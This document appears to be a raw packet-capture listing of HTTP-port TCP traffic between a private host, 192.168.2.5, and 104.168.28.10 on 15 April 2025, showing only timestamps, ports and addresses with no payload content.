Apr 15, 2025 11:33:47.863475084 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863497019 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863534927 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863543034 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863585949 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863619089 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863634109 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863655090 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863687992 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863699913 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863723040 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863765001 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863775015 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863790035 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863812923 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863843918 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863850117 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863887072 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863897085 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863920927 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863955021 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.863971949 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.863991976 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864006042 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864036083 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864038944 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864075899 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864084959 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864109039 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864142895 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864161015 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864176035 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864223957 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864224911 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864290953 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864326000 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864343882 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864357948 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864392042 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864401102 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864439011 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864474058 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864491940 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864509106 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864545107 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864551067 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864579916 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864612103 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864648104 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864656925 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864686012 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864701986 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864721060 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864758968 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864773035 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864795923 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864829063 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864841938 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864864111 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864897966 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864917994 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.864936113 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864944935 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864980936 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.864983082 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865015984 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865029097 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865050077 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865084887 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865104914 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865118027 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865151882 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865170002 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865189075 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865226030 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865237951 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865273952 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865307093 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865339994 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865339994 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865375996 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865386009 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865422010 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865457058 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865477085 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865493059 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865536928 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865544081 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865571022 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865605116 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865617990 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865638971 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865674019 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865684032 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865709066 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865742922 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865760088 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865776062 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865808964 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865823030 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865844965 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865879059 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865890980 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865914106 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865948915 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.865963936 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.865983009 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866020918 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866034031 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866058111 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866091013 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866110086 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866125107 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866158962 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866177082 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866206884 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866240025 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866269112 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866271973 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866309881 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866319895 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866343975 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866379023 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866394043 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866413116 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866446972 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866461992 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866482973 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866518021 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866533995 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866537094 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866574049 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866590023 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866611958 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866647959 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866661072 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866683960 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866728067 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866729975 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866766930 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866801023 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866812944 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866835117 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866868973 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866878986 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866919041 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866951942 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.866961002 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.866986036 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867019892 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867032051 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867053986 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867086887 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867101908 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867120981 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867152929 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867162943 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867187023 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867223978 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867243052 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867258072 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867292881 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867309093 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867326021 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867358923 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867366076 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867392063 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867427111 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867434978 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867460966 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867496014 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867507935 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867528915 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867563963 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867590904 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867595911 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867630959 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867638111 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867669106 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867702961 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867717028 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867736101 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867769003 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867788076 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867803097 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867840052 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867850065 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867875099 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867908955 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867922068 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.867954969 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.867988110 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868000984 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868022919 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868057013 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868074894 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868093014 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868128061 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868139029 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868144035 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868180990 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868195057 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868217945 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868267059 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868268967 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868308067 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868341923 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868350983 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868376970 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868412018 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868423939 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868447065 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868480921 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868494034 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868515015 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868549109 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868562937 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868582964 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868622065 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868633986 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868633986 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868670940 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868679047 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868705034 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868741989 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868753910 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868774891 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868809938 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868817091 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868844032 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868885994 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868887901 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868921995 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868958950 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.868969917 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.868993044 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869024992 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869041920 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869057894 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869091034 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869121075 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869124889 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869168997 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869172096 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869204998 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869237900 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869256973 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869275093 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869307995 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869314909 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869342089 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869376898 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869390011 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869410038 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869445086 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869452000 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869479895 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869513988 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869529009 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869548082 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869581938 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869595051 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869616032 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869648933 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869664907 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869682074 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869715929 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869729042 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869750023 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869782925 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869788885 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869821072 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869863033 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869865894 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869899988 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869931936 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869942904 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.869965076 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.869999886 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870018005 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870048046 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870081902 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870094061 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870115995 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870148897 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870158911 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870184898 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870218992 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870237112 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870255947 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870300055 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870300055 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870337009 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870369911 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870381117 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870404959 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870438099 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870450974 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870487928 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870522022 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870532036 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870556116 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870589018 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870600939 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870623112 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870659113 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870670080 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870693922 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870727062 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870738983 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870767117 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870800972 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870812893 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870835066 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870868921 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870882034 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870902061 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870937109 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.870954037 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.870970011 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871004105 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871015072 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871038914 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871073008 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871092081 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871107101 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871140957 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871155024 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871174097 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871275902 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871282101 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.871310949 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.871345043 CEST	80	49699	104.168.28.10	192.168.2.5
